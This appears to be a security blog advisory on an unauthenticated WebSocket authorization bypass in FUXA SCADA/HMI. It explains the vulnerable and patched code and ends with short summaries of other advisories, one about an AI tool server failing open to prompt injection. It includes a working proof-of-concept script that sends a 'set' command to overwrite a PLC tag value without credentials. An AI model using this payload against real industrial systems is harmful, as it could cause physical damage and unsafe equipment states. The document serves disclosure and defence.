Feb 5, 2026·6 min read·26 visits
FUXA failed to verify authorization on critical WebSocket events. Anyone who can reach the server port can send a JSON payload to modify device states (e.g., turn off a pump, change a temperature setpoint) or disable device drivers. No credentials required.
A critical authorization bypass in FUXA, an open-source web-based SCADA/HMI/Dashboard solution, allows unauthenticated remote attackers to hijack industrial control processes. By leveraging improperly secured WebSocket event handlers, an attacker can write arbitrary values to device tags or disable communication drivers entirely without ever logging in. In the context of Industrial Control Systems (ICS), this translates to the potential for physical damage, operational downtime, or unsafe equipment states, all executable from a simple WebSocket connection.
FUXA is a modern, web-based SCADA (Supervisory Control and Data Acquisition) and HMI (Human-Machine Interface) solution. It’s designed to make industrial automation accessible, visualizing data from PLCs (Programmable Logic Controllers), Modbus devices, and OPC UA servers directly in a web browser. It’s sleek, it’s built on Node.js, and it’s open-source. It’s essentially the bridge between the messy, high-voltage world of industrial hardware and the clean, clicky world of web dashboards.
But here is the problem with bridging those two worlds: Web developers often treat WebSockets like trusted pipelines. The assumption is usually, "If they connected, they must be cool." In the high-stakes environment of ICS, where a variable change doesn't just update a database row but potentially spins a centrifuge up to 10,000 RPM, that assumption isn't just dangerous—it's negligent. This vulnerability isn't a complex memory corruption exploit; it's a fundamental logic error in how the application handles the "state" of a user. It’s the digital equivalent of checking someone’s ID at the front gate of a chemical plant, but then leaving the control room door unlocked and unmanned.
The vulnerability resides in the server/runtime/index.js file, specifically within the WebSocket event loop. FUXA uses socket.io to handle real-time communication between the client (the browser dashboard) and the server (the runtime engine talking to the hardware). When a client connects, there is a handshake. There is even a JWT verification step to see if the user is a guest or an admin.
However, in the vulnerable versions, this authentication state was treated like a "nice to have" rather than a mandatory gatekeeper for critical actions. The application defined listeners for specific events, most notably DEVICE_VALUES and DEVICE_ENABLE. The DEVICE_VALUES handler allows the client to set a value on a tag. The DEVICE_ENABLE handler allows a client to turn a communication driver on or off.
Here is the kicker: Inside these event handlers, there was zero code to check if the socket sending the command actually belonged to an authorized user. The server would happily accept a set command from a socket that had just connected anonymously or as a read-only guest. It’s a classic Broken Access Control (CWE-285) issue, specifically tailored for the event-driven nature of WebSockets. The server checked the lock on the front door (login page) but left the window (WebSocket frames) wide open.
Let's look at the code before the fix. It’s painfully simple, which makes it all the more terrifying. In server/runtime/index.js, the code listened for the DEVICE_VALUES event and immediately processed it.
Vulnerable Code (Before):
socket.on(Events.IoEventTypes.DEVICE_VALUES, (message) => {
if (message.cmd === 'set' && message.var) {
// Look ma, no hands! No auth checks!
devices.setDeviceValue(message.var.source, message.var.id, message.var.value, message.fnc);
}
});See that? If the message command is set, it calls devices.setDeviceValue. It doesn't care who socket belongs to. It just does what it's told.
The Fix (Commit eb2d8a20964ce7acaa0f442a181390a5f726a1ae):
The maintainer, unocelli, introduced a helper function isSocketWriteAuthorized(socket) that explicitly checks if the socket is authenticated and not a guest. They then wrapped the critical logic in this check.
// The new bouncer at the door
function isSocketWriteAuthorized(socket) {
if (!settings.secureEnabled) return true;
return socket.isAuthenticated;
}
// Inside the socket connection logic
socket.on(Events.IoEventTypes.DEVICE_VALUES, (message) => {
if (message.cmd === 'set' && message.var) {
// The new check
if (!isSocketWriteAuthorized(socket)) {
logger.warn(`${Events.IoEventTypes.DEVICE_VALUES}: unauthorized write attempt...`);
return;
}
devices.setDeviceValue(message.var.source, message.var.id, message.var.value, message.fnc);
}
});The fix is elegant and simple: stop assuming. If the user isn't authorized, log a warning and drop the packet. This patch also fixed DEVICE_ENABLE in the exact same way.
Exploiting this does not require complex tooling. You don't need Metasploit. You don't need to overflow a buffer. You just need a WebSocket client. A browser console or a simple Python script using the websocket-client library is sufficient.
The Attack Chain:
ws://target:1881/socket.io/?EIO=3&transport=websocket.DEVICE_VALUES event. We don't need a token. We don't need to login.Proof of Concept (Conceptual):
// Connect to the vulnerable server
const socket = io('http://vulnerable-fuxa-server:1881');
socket.on('connect', () => {
console.log('Connected! preparing payload...');
// Construct the malicious packet
// cmd: 'set' triggers the write
// var: defines the target device tag
const payload = {
cmd: 'set',
var: {
source: 'Siemens_PLC_1', // The device name
id: 'DB1.TEMP_OVERRIDE', // The tag ID
value: 9999 // The dangerous value
}
};
// Send it down the pipe
socket.emit('DEVICE_VALUES', payload);
console.log('Payload sent. Check the blast radius.');
});If the server is running a vulnerable version, it will immediately pass 9999 to Siemens_PLC_1. If that tag controls a furnace temperature setpoint or a pressure valve release threshold, the physical consequences happen immediately.
In a typical web app, an IDOR or broken access control might lead to data leakage or defacement. In the world of SCADA and ICS, the impact is kinetic. FUXA is used to control real hardware—relays, motors, sensors, and PLCs.
An attacker exploiting this vulnerability has three main paths of destruction:
DEVICE_ENABLE with enable: false, an attacker can deafen the HMI. The dashboard stops updating, alarms stop firing, and operators are flying blind. This is a Denial of View attack.This vulnerability bridges the gap between "IT Security" and "OT Safety" in the worst possible way. It allows a script kiddie with a WebSocket client to influence physical reality.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
FUXA frangoteam | < Commit eb2d8a20 | Commit eb2d8a20 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-285 |
| Attack Vector | Network (WebSocket) |
| CVSS (Estimated) | 9.8 (Critical) |
| Impact | Integrity, Availability |
| Authentication | None Required |
| Exploit Status | Trivial |
Improper Authorization
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.